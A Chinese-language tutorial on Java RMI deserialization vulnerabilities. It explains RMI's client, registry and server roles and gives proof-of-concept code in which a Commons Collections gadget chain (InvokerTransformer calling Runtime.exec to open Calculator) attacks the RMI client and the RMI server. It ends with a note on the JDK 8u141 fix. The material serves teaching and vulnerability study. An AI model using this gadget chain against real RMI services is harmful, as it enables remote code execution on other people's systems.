RMI反序列化漏洞分析

1、RMI是什么

RMI(Remote Method Invocatio),是一种跨JVM实现方法调用的技术。一般由三个部分组成

  • Client(客户端) Registry取得服务端注册的服务,然后调用远程方法

    // Connect to RMI Registry :localhost:1099
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);
    
    // search service which called evil and cast type to EvilService
    EvilService evilService = (EvilService) registry.lookup("evil");
    
    //call evil method and need to call "put" function to trigger
    //evilTransformerMap方法具体的执行逻辑是在服务端执行的,并返回结果给client
    Map evilObject = (Map)evilService.evilTransformerMap();
    
  • Registry(注册中心) 可以理解成一个存储远程对象的字典,负责网络传输的模块

  • Server(服务端) 负责在注册中心注册服务,其实就是将一个远程对象给Registry进行封装

    //实例化一个EvilService 即要绑定的对象
    EvilService evilService = new EvilServiceImpl();
    // 将此服务转换为远程服务接口
    EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
    //创建注册中心
    Registry registry = LocateRegistry.createRegistry(1099);
    //将服务注册
    registry.bind("evil",skeleton);
    

PS:在低版本的JDK中,ServerRegistry是可以不在一台服务器上的,而在高版本的JDK中,ServerRegistry只能在一台服务器上,否则无法注册成功。

2、服务端或服务端与注册中心通信

2.1 本地获取注册中心

本地获取是在创建的同时返回Registry对象(RegistryImpl)通过createRegistry 方法如:

Registry registry = LocateRegistry.createRegistry(1099);

获取对象后可以进行bind,list,lookup,rebind,unbind等操作

2.2 远程获取注册中心

通过getRegistry方法获得的对象是RegistryImpl_Stub对象而createRegistry获得的是RegistryImpl对象。

Registry registry = LocateRegistry.getRegistry("localhost", 1099);

这两者的区别在于在对Registry进行操作的时候流程会有不同,有兴趣的同学可以尝试打断点进行调试查看具体区别

2.3 客户端与服务端的通信

这里主要讲一下会引发反序列化的环节

当客户端发起调用远程方法的时候,实际上是客户端与2.4中的Skeleton进行通信,而如果返回客户端的执行结果是一个对象,则在客户端会对其进行反序列化

而当服务端接收的某个参数类型是Object的时候,则会出现在服务端反序列化的情况。

2.4 流程图

image.png

3、反序列化攻击

3.1 攻击Registry

注册中心直接利用bindrebind即可攻击这里不再赘述了

3.2 攻击Client

EvilObject

public class EvilServiceImpl implements EvilService {
    public EvilServiceImpl(){
    }

    public Transformer gadgetTransformerChain(){
        Transformer transformerChain = null;
        try {
            transformerChain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"open  /System/Applications/Calculator.app"})});
        }catch (Exception e){
            e.printStackTrace();
        }
        return transformerChain;
    }
    public Object evilTransformerMap() throws RemoteException {
        //转化为map
        Map outputMap = TransformedMap.decorate(new HashMap<>(),null,gadgetTransformerChain());
        return outputMap;
    }
}

Server

public class RMIServer {
    public static void main(String[] args) {
        try {
            //实例化一个EvilService
            EvilService evilService = new EvilServiceImpl();
            // 将此服务转换为远程服务接口
            EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("evil",skeleton);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

Client

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // Connect to RMI Registry :localhost:1099
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // search service which called evil and cast type to EvilService
        EvilService evilService = (EvilService) registry.lookup("evil");

        //call evil method and need to call "put" function to trigger
        //deserialize will happen when function evilTransformerMap() is called
        Map evilObject = (Map)evilService.evilTransformerMap();

        evilObject.put("1","111");
    }
}

3.3 攻击Server

大体上没什么变化只是evilObject的发送方产生了变化

RMIClient

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"open  /System/Applications/Calculator.app"})});
        Map outputMap = TransformedMap.decorate(new HashMap<>(),null,transformerChain);

        // Connect to RMI Registry :localhost:1099
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);

        Service service = (Service) registry.lookup("evil");
        //触发服务端反序列化
        service.evil(outputMap);
    }
}

ServiceImpl

public class ServiceImpl implements Service {
    public ServiceImpl(){

    }
    @Override
    public void evil(Object evilObject) throws RemoteException {
        ((Map) evilObject).put("1","111");
    }
}

4、修复

1、在高版本的jdk(8u141)中,RegistryImpl#bind中添加了一个checkAccess方法,来检验你的来源是否为localhost ,这个修复解决了攻击注册中心的问题

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